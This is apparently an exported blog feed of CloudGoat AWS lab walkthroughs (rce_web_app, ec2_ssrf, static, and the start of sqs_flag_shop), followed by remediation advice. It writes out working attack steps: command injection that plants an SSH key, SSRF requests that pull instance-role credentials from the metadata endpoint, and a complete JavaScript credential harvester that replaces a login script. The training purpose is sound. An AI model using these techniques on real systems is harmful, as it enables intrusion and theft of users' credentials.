<p>Lara's route: <code>Start as Lara with S3 log read</code> -&gt; <code>Dig through ELB access logs and find a hidden app path</code> -&gt; <code>Reach the web app and find command injection</code> -&gt; <code>Drop an SSH key and get a shell</code> -&gt; <code>Read the instance's metadata and user-data for RDS credentials</code> -&gt; <code>Query the database for the secret</code></p>
<p>McDuck's route: <code>Start as McDuck with S3 keystore read</code> -&gt; <code>Download a stashed SSH private key</code> -&gt; <code>SSH straight into the box</code> -&gt; <code>Use the instance role to read the secret S3 bucket</code> -&gt; <code>Recover the database credentials and the secret</code></p>
<p>The interesting thing about this scenario is that it teaches two lessons at once. Lara's path is about log recon and command injection. McDuck's is about a leaked private key. They land on the same EC2 instance, and that instance leaks the database credentials in more than one place.</p>
<h2>Setting up</h2>
<p>We're given two sets of keys, one per user.</p>
<pre><code class="language-shell">$ cloudgoat create rce_web_app
&lt;SNIP&gt;
$ aws configure --profile lara
$ aws configure --profile mcduck
</code></pre>
<h1>Lara's path</h1>
<h2>Initial recon</h2>
<pre><code class="language-shell">$ aws sts get-caller-identity --profile lara
{
    "Arn": "arn:aws:iam::&lt;ACCOUNT_ID&gt;:user/lara"
}

$ aws s3 ls --profile lara
2026-09-01 20:07:47 cg-keystore-s3-bucket-cgidombrvifd25
2026-09-01 20:08:05 cg-logs-s3-bucket-cgidombrvifd25
2026-09-01 20:07:45 cg-secret-s3-bucket-cgidombrvifd25
&lt;SNIP&gt;
</code></pre>
<p>Lara can read the logs bucket. It holds ELB access logs, so we walk the prefix tree down.</p>
<pre><code class="language-shell">$ aws s3 ls s3://cg-logs-s3-bucket-cgidombrvifd25/cg-lb-logs/AWSLogs/&lt;ACCOUNT_ID&gt;/elasticloadbalancing/us-east-1/2019/06/19/ --profile lara
2026-09-01 20:12:44      18015 &lt;SNIP&gt;_10.10.10.100_5m9btchz.log
</code></pre>
<p>The load balancer itself is easy to find:</p>
<pre><code class="language-shell">$ aws elbv2 describe-load-balancers --profile lara
&lt;SNIP&gt;
            "DNSName": "cg-lb-cgidombrvifd25-&lt;SNIP&gt;.us-east-1.elb.amazonaws.com",
            "Scheme": "internet-facing",
</code></pre>
<p>Visiting it directly shows nothing useful in the page or its source.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/3c2b5dc8-0779-4524-a183-8bad79e29e83.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/88e44538-57da-4bbf-8f7c-d620eb117b7f.png" alt="" style="display:block;margin:0 auto" />

<p><em>View-source page</em></p>
<p>The access log is where it gets interesting. Pull it down and read the requested paths.</p>
<pre><code class="language-shell">$ aws s3 cp s3://cg-logs-s3-bucket-cgidombrvifd25/.../...log . --profile lara

$ cat ...log
&lt;SNIP&gt;
... "GET http://cg-lb-...elb.amazonaws.com:80/mkja1xijqf0abo1h9glg.html HTTP/1.1" ...
... "GET http://cg-lb-...elb.amazonaws.com:80/ HTTP/1.1" ...
... "GET http://cg-lb-...elb.amazonaws.com:80/bootstrap.css HTTP/1.1" ...
</code></pre>
<p>Buried in the log is a request for <code>/mkja1xijqf0abo1h9glg.html</code>, a page with a random name that isn't linked from anywhere. That's the lesson here: a "hidden" page is only hidden until it shows up in a log someone else can read. Access logs are recon material.</p>
<h2>Command injection</h2>
<p>That hidden page is a small web app that runs whatever we hand it, so it's vulnerable to command injection.</p>
<p><img src="align=%22center%22" alt="" /></p>
<p>Rather than work through a cramped web shell, we give ourselves a proper foothold by writing our own SSH key into the ubuntu user's <code>authorized_keys</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/90f6bc15-279a-4fcf-a00a-37d33f471bbb.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-shell">echo "ssh-ed25519 &lt;OUR_PUBLIC_KEY&gt; kohi@kohicha" &gt; /home/ubuntu/.ssh/authorized_keys
</code></pre>
<p>Then log in normally.</p>
<pre><code class="language-shell">$ ssh ubuntu@&lt;EC2_IP&gt;
&lt;SNIP banner&gt;
ubuntu@ip-10-0-10-63:~$ whoami
ubuntu
</code></pre>
<h2>Looting the instance</h2>
<p>First stop from any EC2 shell is the metadata service, which will hand us the instance role's credentials.</p>
<pre><code class="language-shell">ubuntu@ip-10-0-10-63:~$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-cgidombrvifd25
{
  "Code" : "Success",
  "AccessKeyId" : "&lt;REDACTED&gt;",
  "SecretAccessKey" : "&lt;REDACTED&gt;",
  "Token" : "&lt;REDACTED&gt;",
  "Expiration" : "2026-09-01T19:15:33Z"
}
</code></pre>
<p>The bigger prize is the instance's user-data, the bootstrap script AWS runs at first boot. It's readable by anyone on the box, and here it was written with the database credentials hard-coded straight into it.</p>
<pre><code class="language-shell">ubuntu@ip-10-0-10-63:~$ curl http://169.254.169.254/latest/user-data
#!/bin/bash
&lt;SNIP setup&gt;
psql postgresql://cgadmin:&lt;REDACTED&gt;@cg-rds-instance-cgidombrvifd25.&lt;SNIP&gt;.rds.amazonaws.com:5432/cloudgoat \
  -c "CREATE TABLE sensitive_information (...);"
psql postgresql://cgadmin:&lt;REDACTED&gt;@cg-rds-instance-...rds.amazonaws.com:5432/cloudgoat \
  -c "INSERT INTO sensitive_information (name,value) VALUES ('Super-secret-passcode', '&lt;the secret&gt;');"
&lt;SNIP&gt;
</code></pre>
<p>The script tells us three things at once: the RDS endpoint, the admin credentials, and the fact that our target sits in a table called <code>sensitive_information</code>. Connect and read it.</p>
<pre><code class="language-shell">ubuntu@ip-10-0-10-63:~$ psql postgresql://cgadmin:&lt;REDACTED&gt;@cg-rds-instance-cgidombrvifd25.&lt;SNIP&gt;.rds.amazonaws.com:5432/cloudgoat
cloudgoat=&gt; SELECT * FROM sensitive_information;
         name          |           value
-----------------------+----------------------------
 Super-secret-passcode | V!C70RY-4hy2809gnbv40h8g4b
(1 row)
</code></pre>
<p>That's Lara's flag.</p>
<h1>McDuck's path</h1>
<p>McDuck reaches the same box, but through a leaked key instead of command injection.</p>
<pre><code class="language-shell">$ aws s3 ls s3://cg-keystore-s3-bucket-cgidombrvifd25 --profile mcduck
2026-09-01 20:07:52       3381 cloudgoat
2026-09-01 20:07:52        738 cloudgoat.pub
</code></pre>
<p>A private key and its public half, sitting in a bucket McDuck can read. Download them.</p>
<pre><code class="language-shell">$ aws s3 cp s3://cg-keystore-s3-bucket-cgidombrvifd25/cloudgoat . --profile mcduck

$ cat cloudgoat
-----BEGIN OPENSSH PRIVATE KEY-----
&lt;SNIP private key&gt;
-----END OPENSSH PRIVATE KEY-----
</code></pre>
<p>Find the instance's address and SSH in with the key directly. No injection needed.</p>
<pre><code class="language-shell">$ aws ec2 describe-instances --profile mcduck
&lt;SNIP to the running instance&gt;
                    "PublicIpAddress": "&lt;EC2_IP&gt;",
                    "IamInstanceProfile": {
                        "Arn": "arn:aws:iam::&lt;ACCOUNT_ID&gt;:instance-profile/cg-ec2-instance-profile-cgidombrvifd25"
                    },

$ ssh -i ./cloudgoat ubuntu@&lt;EC2_IP&gt;
ubuntu@ip-10-0-10-63:~$
</code></pre>
<h3>A different way to the secret</h3>
<p>Lara read the database straight from user-data. From this shell we can take the other route and lean on the instance's own role. Install the CLI and let it pick up the role credentials from the metadata service automatically.</p>
<pre><code class="language-shell">ubuntu@ip-10-0-10-63:~$ curl -fsSL https://awscli.amazonaws.com/v2/install.sh | bash
&lt;SNIP&gt;
ubuntu@ip-10-0-10-63:~$ export PATH=$HOME/.local/bin:$PATH

ubuntu@ip-10-0-10-63:~$ aws s3 ls
&lt;SNIP&gt;
cg-secret-s3-bucket-cgidombrvifd25

ubuntu@ip-10-0-10-63:~$ aws s3 ls s3://cg-secret-s3-bucket-cgidombrvifd25
2026-09-01 12:07:51        282 db.txt

ubuntu@ip-10-0-10-63:~$ aws s3 cp s3://cg-secret-s3-bucket-cgidombrvifd25/db.txt .
ubuntu@ip-10-0-10-63:~$ cat db.txt
Dear Tomas - For the LAST TIME, here are the database credentials. Save them to
your password manager, and delete this file when you've done so! This is
definitely in breach of our security policies!!!!

DB name: cloudgoat
Username: cgadmin
Password: &lt;REDACTED&gt;

Sincerely,
Lara
</code></pre>
<p>Same credentials, reached a completely different way. The role attached to the instance can read the secret bucket, and someone left the database password in a plaintext note there. From here it's the same <code>psql</code> connection to pull the passcode.</p>
<h2>Fixing it</h2>
<p>This scenario breaks in several independent places, which is the point. Any one of these fixes would have stopped at least one of the two paths.</p>
<ul>
<li><p>Don't put credentials in EC2 user-data. It's readable by every process on the instance and through the metadata service, so anything hard-coded there is effectively public to whoever lands on the box. Pull secrets from Secrets Manager or SSM Parameter Store at boot instead.</p>
</li>
<li><p>Don't store private keys or credential files in S3. The keystore bucket held an SSH private key, and the secret bucket held a plaintext password note. Neither belongs in object storage. Lock these buckets down and keep secrets in a secrets manager.</p>
</li>
<li><p>Fix the command injection. The web app passes user input to a shell. Validate and sanitize input, and never build shell commands from it.</p>
</li>
<li><p>Treat access logs as sensitive. The ELB logs gave away an unlinked application path. Restrict who can read log buckets, since recon starts there.</p>
</li>
<li><p>Enforce IMDSv2 and scope the instance role. Requiring session tokens on the metadata service raises the bar for stealing role credentials, and the role itself should only reach the resources it truly needs, not the secret bucket.</p>
</li>
<li><p>Alert on the tells: reads of the keystore and secret buckets, metadata credentials used off-instance, and new authorized_keys entries appearing on a host.</p>
</li>
</ul>
<p>Tear the lab down when you're finished:</p>
<pre><code class="language-shell">$ cloudgoat destroy rce_web_app
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Cloudgoat Medium: EC2 SSRF]]></title><description><![CDATA[In this lab, we'll be doing a walkthrough on the ec2_ssrf cloudgoat scenario. It's rated moderate, and the goal is to invoke a specific Lambda function that we don't start with permission to touch.
Su]]></description><link>https://kohicha.dev/cloudgoat-medium-ec2-ssrf</link><guid isPermaLink="true">https://kohicha.dev/cloudgoat-medium-ec2-ssrf</guid><dc:creator><![CDATA[kohicha]]></dc:creator><pubDate>Mon, 24 Aug 2026 05:04:02 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/2ad72bf7-7592-4837-93f2-db28aca11aa4.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this lab, we'll be doing a walkthrough on the <a href="https://github.com/RhinoSecurityLabs/cloudgoat#ec2_ssrf-moderate"><strong>ec2_ssrf</strong></a> cloudgoat scenario. It's rated moderate, and the goal is to invoke a specific Lambda function that we don't start with permission to touch.</p>
<p><strong>Summary of the path</strong></p>
<p><code>Start as Solus with Lambda read access</code> -&gt; <code>List the Lambda and find EC2 keys in its env vars</code> -&gt; <code>Pivot to Wrex and enumerate EC2</code> -&gt; <code>Find an SSRF-vulnerable web app on the instance</code> -&gt; <code>SSRF the metadata endpoint for the EC2 role's credentials</code> -&gt; <code>Use the role to read a secret S3 bucket</code> -&gt; <code>Recover Shepard's credentials</code> -&gt; <code>Invoke the Lambda as Shepard and win</code></p>
<p>Unlike some of the other scenarios, there's no single misconfiguration to point at here. This is a chain: four different identities, each one leaving behind the keys to the next. The thread running through all of it is credentials stored somewhere they can be read, plus a metadata endpoint that hands out a role to anyone who can make the server request it.</p>
<h2>Setting up</h2>
<p>We start with the Solus user's keys.</p>
<pre><code class="language-shell">$ cloudgoat create ec2_ssrf
&lt;SNIP&gt;
$ aws configure --profile solus
</code></pre>
<h2>Enumerating Lambda</h2>
<p>Solus can read Lambda, so that's where we look first.</p>
<pre><code class="language-shell">$ aws lambda list-functions --profile solus
&lt;SNIP&gt;
            "FunctionName": "cg-lambda-cgid6qq24avi7d",
            "Runtime": "python3.11",
            "Handler": "lambda.handler",
            "Description": "Invoke this Lambda function for the win!",
            "Environment": {
                "Variables": {
                    "EC2_ACCESS_KEY_ID": "AKIAUWJPWY7OUOQ5VCJF",
                    "EC2_SECRET_KEY_ID": "&lt;REDACTED&gt;"
                }
            },
</code></pre>
<p>The description tells us this is the function we eventually need to invoke, and the environment variables hand us a set of access keys straight away. Same idea as the Beanstalk lab earlier in the series: Lambda environment variables are configuration, and anyone who can describe the function reads them in plaintext.</p>
<p><code>get-function</code> gives us the same variables plus a presigned link to the deployment package, so we can pull the source too.</p>
<pre><code class="language-shell">$ aws lambda get-function --function-name cg-lambda-cgid6qq24avi7d --profile solus
&lt;SNIP&gt;
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/...&lt;SNIP long presigned URL&gt;"
    }
</code></pre>
<pre><code class="language-shell">$ unzip cg-lambda-cgid6qq24avi7d-&lt;SNIP&gt;.zip
lambda.py

$ cat lambda.py
def handler(event, context):
    # You need to invoke this function to win!
    return "You win!"
</code></pre>
<p>Nothing hidden in the code, it just confirms the goal. What matters is the key pair in the env vars.</p>
<h2>Pivoting to Wrex</h2>
<p>Configure a profile with the exposed keys and see who they belong to.</p>
<pre><code class="language-shell">$ aws configure --profile solus-01
&lt;SNIP&gt;

$ aws sts get-caller-identity --profile solus-01
{
    "UserId": "AIDAUWJPWY7OUYUBJH7HD",
    "Account": "&lt;ACCOUNT_ID&gt;",
    "Arn": "arn:aws:iam::&lt;ACCOUNT_ID&gt;:user/wrex-cgid6qq24avi7d"
}
</code></pre>
<p>We're now Wrex. Let's see what this identity can see, starting with EC2.</p>
<pre><code class="language-shell">$ aws ec2 describe-instances --profile solus-01
&lt;SNIP trimmed to the one running instance&gt;
                    "InstanceId": "i-06052608c73939134",
                    "PublicIpAddress": "44.200.12.173",
                    "PublicDnsName": "ec2-44-200-12-173.compute-1.amazonaws.com",
                    "IamInstanceProfile": {
                        "Arn": "arn:aws:iam::&lt;ACCOUNT_ID&gt;:instance-profile/cg-ec2-instance-profile-cgid6qq24avi7d"
                    },
                    "SecurityGroups": [
                        { "GroupName": "cg-ec2-ssh-cgid6qq24avi7d" }
                    ],
                    "MetadataOptions": {
                        "HttpTokens": "optional",
                        "HttpEndpoint": "enabled"
                    },
                    "State": { "Name": "running" }
</code></pre>
<p>One running instance with a public IP. Two things stand out. It has an IAM instance profile attached, so the machine carries a role we'd like to get our hands on. And <code>HttpTokens: optional</code> means the metadata service accepts unauthenticated requests, which will matter in a moment.</p>
<p>(The full output also lists a couple of terminated instances tagged for other scenarios. Those are leftovers, ignore them.)</p>
<h2>Finding the SSRF</h2>
<p>Visiting the instance in a browser shows a small demo app.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/475d0f8e-9866-4bb4-a4b5-ea34edc82736.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">Welcome to sethsec's SSRF demo.
I am an application. I want to be useful, so give me a URL to request for you
</code></pre>
<p>It takes a <code>url</code> parameter and fetches whatever we point it at, from the server's side. That's a textbook server-side request forgery setup, and the most useful thing to make an EC2 instance request is its own metadata endpoint at <code>169.254.169.254</code>, an address only reachable from the instance itself.</p>
<pre><code class="language-shell">$ curl "http://ec2-44-200-12-173.compute-1.amazonaws.com/?url=http://169.254.169.254/"
&lt;SNIP&gt;
1.0
2007-01-19
&lt;SNIP&gt;
latest
</code></pre>
<p>The metadata service answers, which confirms the SSRF reaches it. From here we walk to the credentials path. The role name comes from the instance profile we already saw in <code>describe-instances</code> (you can also list it at <code>/latest/meta-data/iam/security-credentials/</code>).</p>
<pre><code class="language-shell">$ curl "http://ec2-44-200-12-173.compute-1.amazonaws.com/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-cgid6qq24avi7d"
&lt;SNIP&gt;
{
  "Code" : "Success",
  "AccessKeyId" : "ASIAUWJPWY7OY63B4YQX",
  "SecretAccessKey" : "&lt;REDACTED&gt;",
  "Token" : "&lt;REDACTED&gt;",
  "Expiration" : "2026-08-24T11:00:16Z"
}
</code></pre>
<p>Those are temporary credentials for the EC2 role, delivered to us through the vulnerable app.</p>
<h2>Assuming the EC2 role</h2>
<p>Configure a profile with the three values (these are temporary creds, so the session token is required).</p>
<pre><code class="language-shell">$ aws configure --profile solus-02
&lt;SNIP&gt;

$ aws sts get-caller-identity --profile solus-02
{
    "UserId": "AROAUWJPWY7OWORT22A7F:i-06052608c73939134",
    "Account": "&lt;ACCOUNT_ID&gt;",
    "Arn": "arn:aws:sts::&lt;ACCOUNT_ID&gt;:assumed-role/cg-ec2-role-cgid6qq24avi7d/i-06052608c73939134"
}
</code></pre>
<p>We're now acting as the instance's role. Check what it can reach in S3.</p>
<pre><code class="language-shell">$ aws s3 ls --profile solus-02
2026-08-24 12:25:05 cg-secret-s3-bucket-cgid6qq24avi7d
&lt;SNIP&gt;

$ aws s3 ls s3://cg-secret-s3-bucket-cgid6qq24avi7d/aws/ --profile solus-02
2026-08-24 12:25:11        135 credentials

$ aws s3 cp s3://cg-secret-s3-bucket-cgid6qq24avi7d/aws/credentials . --profile solus-02
download: s3://cg-secret-s3-bucket-cgid6qq24avi7d/aws/credentials to ./credentials

$ cat credentials
[default]
aws_access_key_id = AKIAUWJPWY7O5ZRSVOTO
aws_secret_access_key = &lt;REDACTED&gt;
region = us-east-1
</code></pre>
<p>A credentials file sitting in a bucket, which is our third set of keys.</p>
<h2>Invoking the lambda function</h2>
<p>Configure them and see who we've landed as.</p>
<pre><code class="language-shell">$ aws sts get-caller-identity --profile solus-03
{
    "UserId": "AIDAUWJPWY7OWE72XQSZW",
    "Account": "&lt;ACCOUNT_ID&gt;",
    "Arn": "arn:aws:iam::&lt;ACCOUNT_ID&gt;:user/shepard-cgid6qq24avi7d"
}
</code></pre>
<p>Shepard, the identity that's allowed to invoke the Lambda from the very first step.</p>
<pre><code class="language-shell">$ aws lambda invoke --function-name cg-lambda-cgid6qq24avi7d win.txt --profile solus-03
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}

$ cat win.txt
"You win!"
</code></pre>
<h2>Fixing it</h2>
<p>No single change stops this, because the compromise is a chain. Each link is its own fix, and breaking any one of them stops the hop that follows.</p>
<ul>
<li><p>Keep long-lived keys out of Lambda environment variables. Anyone with <code>lambda:GetFunction</code> reads them in plaintext. Store secrets in Secrets Manager or SSM Parameter Store and pull them at runtime, or better, give the function its own execution role instead of embedding another user's keys.</p>
</li>
<li><p>Enforce IMDSv2 on the instance. Setting <code>HttpTokens</code> to <code>required</code> makes the metadata service demand a session token obtained with a <code>PUT</code>, which a simple SSRF <code>GET</code> can't perform. This one change alone breaks the credential theft even if the SSRF stays. Dropping <code>HttpPutResponseHopLimit</code> to 1 helps too.</p>
</li>
<li><p>Fix the SSRF. The demo app fetches arbitrary URLs with no validation. It should reject requests to link-local and private ranges (169.254.169.254, 10/8, 127/8) and allowlist the destinations it actually needs.</p>
</li>
<li><p>Don't store credential files in S3. The <code>aws/credentials</code> object is plaintext keys at rest. Scope the EC2 role to only the buckets and actions it genuinely needs, and keep secrets out of object storage entirely.</p>
</li>
<li><p>Alert on the tell-tale events. Metadata credentials used from an IP that isn't the instance's, <code>GetFunction</code> calls from unexpected principals, and reads of a credentials object in S3 are each worth a CloudTrail alarm.</p>
</li>
</ul>
<p>Tear the lab down when you're finished:</p>
<pre><code class="language-shell">$ cloudgoat destroy ec2_ssrf
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Cloudgoat Medium: Static]]></title><description><![CDATA[In this lab, we'll be doing a walkthrough on the static cloudgoat scenario.

Heads up: I had to patch this challenge because the login bot was returning an error. As of 08-22-2026 there's no fix upstr]]></description><link>https://kohicha.dev/cloudgoat-medium-static</link><guid isPermaLink="true">https://kohicha.dev/cloudgoat-medium-static</guid><dc:creator><![CDATA[kohicha]]></dc:creator><pubDate>Sat, 22 Aug 2026 09:19:05 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/60ae935c-bd50-463c-946c-7eeacc90f333.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this lab, we'll be doing a walkthrough on the <a href="https://github.com/kohicha/cloudgoat/blob/master/cloudgoat/scenarios/aws/static/README.md"><strong>static</strong></a> cloudgoat scenario.</p>
<blockquote>
<p><strong>Heads up:</strong> I had to patch this challenge because the login bot was returning an error. As of 08-22-2026 there's no fix upstream yet. If you're hitting the same problem, you can use my patched version at <a href="https://github.com/kohicha/cloudgoat">github.com/kohicha/cloudgoat</a>. I've also opened a pull request against the CloudGoat repo, so it may be a while before it lands.</p>
</blockquote>
<p><strong>Summary of the path</strong></p>
<p><code>Start with a URL and no credentials</code> -&gt; <code>Read the page source and find an S3-hosted script</code> -&gt; <code>List the bucket unauthenticated</code> -&gt; <code>Confirm public write with a throwaway file</code> -&gt; <code>Overwrite auth-module.js with a credential harvester</code> -&gt; <code>Wait for the bot to log in</code> -&gt; <code>Read the captured credentials out of the same bucket</code></p>
<p>Every command in this lab runs with <code>--no-sign-request</code>, meaning we never authenticate to AWS at all. There's no IAM chain here, no role to assume. The whole thing comes down to one bucket being writable when it shouldn't be.</p>
<h2>Setting up</h2>
<p>This scenario hands us a URL and nothing else.</p>
<pre><code class="language-shell">$ cloudgoat create static
&lt;SNIP&gt;
Website_In_Scope_START_HERE = http://&lt;TARGET_IP&gt;
</code></pre>
<h2>Initial recon</h2>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/2877e1d5-3c25-4663-90a6-3948a4cd7ff9.png" alt="" style="display:block;margin:0 auto" />

<p>An employee login page. Nothing to work with in the UI, so we read the source.</p>
<pre><code class="language-html">&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Hacksmarter Portal | Employee Login&lt;/title&gt;
    &lt;script src="https://cg-assets-cgid4qz43ek6lj.s3.amazonaws.com/auth-module.js"&gt;&lt;/script&gt;
&lt;SNIP&gt;
        &lt;input type="text" id="username" placeholder="Username"&gt;
        &lt;input type="password" id="password" placeholder="Password"&gt;
        &lt;button id="login-btn"&gt;Sign In&lt;/button&gt;
</code></pre>
<p>The <code>&lt;script&gt;</code> tag gives us the bucket name outright, so there's no brute forcing needed. The page loads its login JavaScript straight from an S3 bucket. Also note the element IDs, <code>username</code>, <code>password</code>, and <code>login-btn</code>, since we'll reference them later.</p>
<h2>S3 bucket enumeration</h2>
<pre><code class="language-shell">$ aws s3 ls s3://cg-assets-cgid4qz43ek6lj/ --no-sign-request
2026-08-21 21:56:49         52 auth-module.js
2026-08-21 21:56:49        304 logo.svg
</code></pre>
<p><code>--no-sign-request</code> sends this as an anonymous caller, and the listing came back, so the bucket is publicly readable. Let's pull the script and see what it does.</p>
<pre><code class="language-shell">$ aws s3 cp s3://cg-assets-cgid4qz43ek6lj/auth-module.js . --no-sign-request
download: s3://cg-assets-cgid4qz43ek6lj/auth-module.js to ./auth-module.js
 
$ cat auth-module.js
console.log('Hacksmarter Auth Module v1.2 loaded.');
</code></pre>
<p>One line of logging, nothing useful inside it. So the file's contents aren't the target. The real question is whether we can <em>change</em> them.</p>
<h2>Confirming public write</h2>
<p>Read and write are separate permissions on an S3 bucket, so being able to list it doesn't mean we can upload to it. Let's test that with a throwaway file before touching anything the app depends on.</p>
<pre><code class="language-shell">$ echo "kohicha was here" &gt; file.txt
 
$ aws s3 cp file.txt s3://cg-assets-cgid4qz43ek6lj/ --no-sign-request
upload: ./file.txt to s3://cg-assets-cgid4qz43ek6lj/file.txt
 
$ aws s3 ls s3://cg-assets-cgid4qz43ek6lj/ --no-sign-request
2026-08-21 21:56:49         52 auth-module.js
2026-08-21 22:07:50         17 file.txt
2026-08-21 21:56:49        304 logo.svg
</code></pre>
<p>The upload went through. An anonymous caller can write files to a bucket that the login page pulls JavaScript from.</p>
<p>That's the whole scenario in one line. Since we can overwrite <code>auth-module.js</code>, and the login page runs whatever that file contains in every visitor's browser, we can swap it for a script that grabs credentials as they're typed.</p>
<h2>Setting up the harvester</h2>
<p>The script hooks the sign-in button, reads both input fields, and sends them off.</p>
<pre><code class="language-javascript">document.addEventListener('DOMContentLoaded', () =&gt; {
    const loginBtn = document.getElementById('login-btn');
 
    loginBtn.addEventListener('click', async () =&gt; {
        const usernameInput = document.getElementById('username').value;
        const passwordInput = document.getElementById('password').value;
 
        if (!usernameInput || !passwordInput) {
            alert('Please enter both a username and a password.');
            return;
        }
 
        const loginData = {
            username: usernameInput,
            password: passwordInput,
            timestamp: new Date().toISOString()
        };
 
        const endpointUrl = 'https://cg-assets-cgid4qz43ek6lj.s3.amazonaws.com/creds.txt';
 
        try {
            const response = await fetch(endpointUrl, {
                method: 'PUT',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify(loginData),
                keepalive: true
            });
 
            if (response.ok) {
                console.log('Successfully uploaded!');
                alert('Data saved successfully.');
            } else {
                console.error('Upload failed. Status:', response.status);
                alert('Upload failed. Check console for details.');
            }
 
        } catch (error) {
            console.error('Network error:', error);
            alert('An error occurred while connecting to the endpoint.');
        }
    });
});
</code></pre>
<p>The trick worth pointing out is where it sends the stolen data: back to the same bucket, as <code>creds.txt</code>. Since the bucket allows anonymous writes, the victim's browser can upload the credentials straight into it, and we read them out later with the same anonymous <code>aws s3 cp</code> we've been using the whole time. No separate server to stand up.</p>
<p>Now overwrite the real file.</p>
<pre><code class="language-shell">$ aws s3 cp auth-module.js s3://cg-assets-cgid4qz43ek6lj/auth-module.js --no-sign-request
upload: ./auth-module.js to s3://cg-assets-cgid4qz43ek6lj/auth-module.js
</code></pre>
<p>Load the page to confirm the new module is being served.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/d2954372-f21e-4f5a-8643-82bb9a7b59f2.png" alt="" style="display:block;margin:0 auto" />

<p>Now we wait. The scenario runs an automated administrator bot that logs into the portal every minute or two, and that bot is the target. Its credentials are the flag.</p>
<h2>Collecting the credentials</h2>
<pre><code class="language-shell">$ aws s3 ls s3://cg-assets-cgid4qz43ek6lj/ --no-sign-request
2026-08-22 16:31:07       1517 auth-module.js
2026-08-22 16:31:53         91 creds.txt
2026-08-22 15:50:46        304 logo.svg
</code></pre>
<p><code>creds.txt</code> showed up, so the bot logged in and our script fired.</p>
<pre><code class="language-shell">$ aws s3 cp s3://cg-assets-cgid4qz43ek6lj/creds.txt . --no-sign-request
download: s3://cg-assets-cgid4qz43ek6lj/creds.txt to ./creds.txt
 
$ cat creds.txt
{"username":"tyler","password":"H@cKallth3th!ngs!3","timestamp":"2026-08-22T08:33:04.802Z"}
</code></pre>
<pre><code class="language-plaintext">H@cKallth3th!ngs!3
</code></pre>
<h2>Fixing it</h2>
<p>The application was never vulnerable. Everything here comes down to how the asset bucket is configured and how the page loads from it.</p>
<ul>
<li><p>Remove public write. An assets bucket needs anonymous <code>GetObject</code> and nothing else. Turn on S3 Block Public Access at the account level, then grant read through a bucket policy scoped to <code>s3:GetObject</code>, and keep <code>PutObject</code> restricted to the deployment role.</p>
</li>
<li><p>Add Subresource Integrity to the script tag. <code>&lt;script src="..." integrity="sha384-..." crossorigin="anonymous"&gt;</code> makes the browser verify the file's hash before executing it, so a modified <code>auth-module.js</code> simply doesn't run. This one control breaks the attack even if the bucket stays writable.</p>
</li>
<li><p>Serve assets through CloudFront with Origin Access Control, so the bucket isn't reachable directly at all and the origin is private.</p>
</li>
<li><p>Lock down CORS. There's no reason for this bucket to accept cross-origin writes from anywhere.</p>
</li>
<li><p>Enable S3 access logging or CloudTrail data events on the bucket, and alert on any <code>PutObject</code> where the caller is anonymous or isn't the deployment role. An unauthenticated write to a production assets bucket has no legitimate explanation. Tear the lab down when you're finished:</p>
</li>
</ul>
<pre><code class="language-shell">$ cloudgoat destroy static
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Cloudgoat Easy: SQS Flag Shop]]></title><description><![CDATA[In this lab, we'll be doing a walkthrough on the sqs_flag_shop cloudgoat scenario.
Summary of the pathStart as cg-sqs-user with a web app -> Read our inline policy and find an assumable role -> Enumer]]></description><link>https://kohicha.dev/cloudgoat-easy-sqs-flag-shop</link><guid isPermaLink="true">https://kohicha.dev/cloudgoat-easy-sqs-flag-shop</guid><dc:creator><![CDATA[kohicha]]></dc:creator><pubDate>Thu, 20 Aug 2026 12:32:42 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/0eeda70b-caef-4b06-aa25-2d032bcfae05.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this lab, we'll be doing a walkthrough on the <a href="https://github.com/RhinoSecurityLabs/cloudgoat#sqs_flag_shop-moderate"><strong>sqs_flag_shop</strong></a> cloudgoat scenario.</p>
<p><strong>Summary of the path</strong><br /><code>Start as cg-sqs-user with a web app</code> -&gt; <code>Read our inline policy and find an assumable role</code> -&gt; <code>Enumerate the role's SQS permissions and the Lambda consumer</code> -&gt; <code>Assume the send-message role</code> -&gt; <code>Read the app's exposed source and learn the message schema</code> -&gt; <code>Write to the queue directly, skipping the app</code> -&gt; <code>Buy the flag</code></p>
<p>There's no IAM privilege escalation here. The role we assume is one we're explicitly allowed to assume, and it grants exactly what it says it grants. The flaw is architectural: the app validates the charge amount at the HTTP endpoint, but the queue behind it is a second way in, and whatever consumes that queue believes every message it reads.</p>
<h2>Setting up</h2>
<pre><code class="language-shell">$ cloudgoat create sqs_flag_shop
&lt;SNIP&gt;
cg-sqs-user access key: AKIA&lt;SNIP&gt;
cg-sqs-user secret key: &lt;REDACTED&gt;
Target web app: http://&lt;TARGET_IP&gt;:5000/
 
$ aws configure --profile sqsuser
</code></pre>
<h2>Initial recon</h2>
<p>The scenario gives us a shop running on port 5000.</p>
<pre><code class="language-plaintext">http://&lt;TARGET_IP&gt;:5000/
</code></pre>
